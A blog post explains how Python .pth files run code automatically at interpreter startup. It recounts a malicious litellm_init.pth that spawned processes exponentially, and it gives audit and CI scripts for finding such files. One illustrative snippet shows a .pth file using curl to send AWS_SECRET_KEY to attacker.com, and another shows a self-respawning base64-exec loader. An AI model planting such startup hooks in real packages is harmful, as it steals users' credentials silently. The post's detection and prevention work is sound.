How Python .pth Files Work and Why They're a Security Risk
Problem
When I installed a Python package recently, my machine started running extremely slow. CPU usage spiked to 100%, and I couldn’t figure out why. After some investigation, I discovered something alarming: a .pth file in my site-packages directory was spawning processes in an exponential loop.
$ topPID COMMAND %CPU12345 python 99.212346 python 98.712347 python 97.1... ... ...The culprit? A malicious .pth file that executed code every time I started Python - even just to check the version.
What Are .pth Files?
I had seen .pth files before but never paid attention to them. They sit quietly in your site-packages directory, looking innocent:
$ find $(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])") \ -name "*.pth" -type f
/usr/local/lib/python3.11/site-packages/easy-install.pth/usr/local/lib/python3.11/site-packages/litellm_init.pth # <- suspicious!I assumed these were just configuration files. But when I opened one, I realized Python executes them automatically on every interpreter startup.
The Discovery
I decided to inspect the suspicious litellm_init.pth file:
# This file looks innocent but contains malicious codeimport subprocessimport sys
# Spawns a child process that triggers the same .pth againsubprocess.Popen([sys.executable, '-c', 'import base64; exec(...)'])The pattern became clear:
- The
.pthfile executes when Python starts - It spawns a child Python process
- The child process triggers the same
.pthfile - Each child spawns more children
- Exponential fork bomb
This was actually a bug in the malware - a properly written version would steal credentials silently instead of crashing the machine.
How .pth Files Work
I dug into the Python documentation and found that .pth files are processed by the site module during interpreter initialization:
Python starts | vsite module loads | vScans site-packages for *.pth files | vFor each .pth file: - If line starts with "import": execute it - If line is a path: add to sys.path - Otherwise: execute as Python code | vYour application code runsA legitimate .pth file looks like this:
# Just adds a directory to sys.path/path/to/my/modulesBut a malicious one can execute arbitrary code:
import subprocessimport os
# This runs with YOUR permissions# Before you even import anythingsubprocess.run(['curl', 'http://attacker.com/steal?data=' + os.environ.get('AWS_SECRET_KEY')])Why This Is Dangerous
The key realization is that .pth files execute before your application code:
Time 0ms: python interpreter startsTime 1ms: site module loads .pth filesTime 2ms: MALICIOUS CODE EXECUTES (with your permissions)Time 3ms: your application imports startTime 10ms: your application code runsThis means:
- Automatic execution: Every Python process triggers them
- No user interaction: Code runs before your code
- Persistence: Survives reboots and sessions
- Full permissions: Runs with your access level
- Stealth: Hidden among legitimate
.pthfiles
Investigating My System
I wrote a quick audit script to check all .pth files:
#!/bin/bash# Find potentially malicious .pth files
SITE_PACKAGES=$(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])")
echo "Checking for suspicious .pth files in $SITE_PACKAGES"
find "$SITE_PACKAGES" -name "*.pth" -type f | while read pth; do if grep -qE "subprocess|exec\(|eval\(|__import__|base64|compile\(" "$pth"; then echo "[ALERT] Suspicious .pth found: $pth" echo "Content:" cat "$pth" echo "---" fidoneRunning it revealed the problem:
$ bash audit_pth.shChecking for suspicious .pth files in /usr/local/lib/python3.11/site-packages
[ALERT] Suspicious .pth found: /usr/local/lib/python3.11/site-packages/litellm_init.pthContent:import subprocessimport sys...The Solution
After removing the malicious .pth file:
$ rm /usr/local/lib/python3.11/site-packages/litellm_init.pth$ python3 -c "print('System clean')"System cleanBut prevention is better than cure. Here’s my current approach:
# 1. Always check before installingpip download --no-deps package-nametar -tzf package-name*.tar.gz | grep -E "\.pth$|setup\.py"
# 2. Use a virtual environmentpython3 -m venv .venvsource .venv/bin/activate
# 3. Audit .pth files regularlyfind .venv/lib/python*/site-packages -name "*.pth" -exec cat {} \;For CI/CD pipelines, I added this check:
#!/bin/bash# Run this after pip install in CI
SITE_PACKAGES=$(python3 -c "import sysconfig; print(sysconfig.get_paths()['purelib'])")
# Red flags in .pth filesPATTERNS="subprocess|exec\(|eval\(|__import__|base64|compile\(|os\.system|popen"
find "$SITE_PACKAGES" -name "*.pth" -type f -exec grep -lE "$PATTERNS" {} \; | while read f; do echo "::error file=$f::Suspicious .pth file detected" exit 1doneThe Reason Behind This Design
I wondered why Python allows this. The historical reason makes sense:
- Path configuration:
.pthfiles were designed to add directories tosys.pathwithout modifyingPYTHONPATH - Namespace packages: They enable namespace packages across multiple directories
- Development convenience: Developers can add project paths without installation
- Legacy compatibility: The feature has existed since early Python versions
The problem is that the import statement in .pth files was meant for importing modules that modify sys.path, but it can execute arbitrary code.
Summary
In this post, I discovered how Python .pth files automatically execute code on interpreter startup and why this makes them a dangerous attack vector. The LiteLLM supply chain attack demonstrated this in the wild - a malicious .pth file spawned processes exponentially, crashing machines and exposing the attack.
The key takeaways:
.pthfiles execute before your application code- Always audit
.pthfiles in yoursite-packagesdirectory - Use virtual environments to isolate installations
- Add
.pthfile checks to your CI/CD pipeline - Be suspicious of packages that include
.pthfiles
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
- 👨💻 Python site module documentation
- 👨💻 LiteLLM Supply Chain Attack Analysis
- 👨💻 PEP 370 - Per user site-packages directory
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments